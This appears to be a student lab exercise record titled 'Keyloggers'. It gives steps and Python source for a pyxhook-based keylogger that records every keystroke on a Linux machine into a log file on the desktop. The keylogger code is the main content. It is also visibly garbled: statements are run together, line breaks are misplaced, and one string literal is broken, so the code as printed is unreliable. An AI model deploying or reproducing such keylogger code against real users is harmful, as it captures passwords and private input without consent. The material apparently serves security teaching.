

EXP NO:7

DATE:

KEYLOGGERS

Aim: To write a python program to implement keylogger to record keystrokes in Linux.

Algorithm:

- Step 1: Check if python-xlib is installed. If not, type the command: `dnf install python-xlib -y`.
- Step 2: Run the pyxhook file using the command: `python pyxhook.py`.
- Step 3: Create a file named `key.py`.
- Step 4: Run `key.py` to record all keystrokes.
- Step 5: Open the `file.log` file to view all the recorded keystrokes.

Program:

```
import os
import
pyxhook

log_file = os.environ.get('pylogger_file',

os.path.expanduser('~/Desktop/file.log')) cancel_key =

ord(os.environ.get('pylogger_cancel', ''')[0])

if os.environ.get('pylogger_clean', None) is not
None: try:
    os.remove(log_file)
except EnvironmentError:
    pass

def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.Key))new_hook = pyxhook.HookManager()
        new_hook.KeyDown = OnKeyPress new_hook.HookKeyboard()
```

```

try:
    new_hook.start() except KeyboardInterrupt:    pass
except Exception as ex:  msg = 'Error while
catching events:\n{}'.format(ex)    with
open(log_file, 'a') as f:
    f.write('\n{}'.format(msg))

```

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